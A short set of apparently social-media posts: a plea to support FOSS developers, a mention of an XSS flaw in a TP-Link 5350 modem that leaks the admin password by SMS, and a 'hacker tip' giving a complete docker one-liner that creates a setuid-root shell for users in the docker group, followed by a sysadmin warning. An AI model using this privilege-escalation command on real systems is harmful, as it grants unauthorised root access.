How to help FOSS devs:
If you're happy, let them know! Often most of the feedback software developers and admins get is complaints about bugs. Happy feedback motivates.
If you're unhappy, file friendly bug reports and be patient.
Some have a Patreon, where money can be donated. That reduces stress and frees up more time to focus on development.
There is also always code that needs writing or messages that need translating or documentation that needs writing.

Oh wow. This is priceless.
Thanks to an XSS flaw in the firmware, you can send an SMS message to a TP-Link 5350 3G/WiFi modem, and it will reply with the admin password.
HACKER TIP: If you pop a low-priv linux shell. Don't forget to check if the user is in the "docker" group. If so, a root shell is only one line away:
$ docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p

SysAdmin tip: Don' t add any nonsudoers to the 'docker' group!
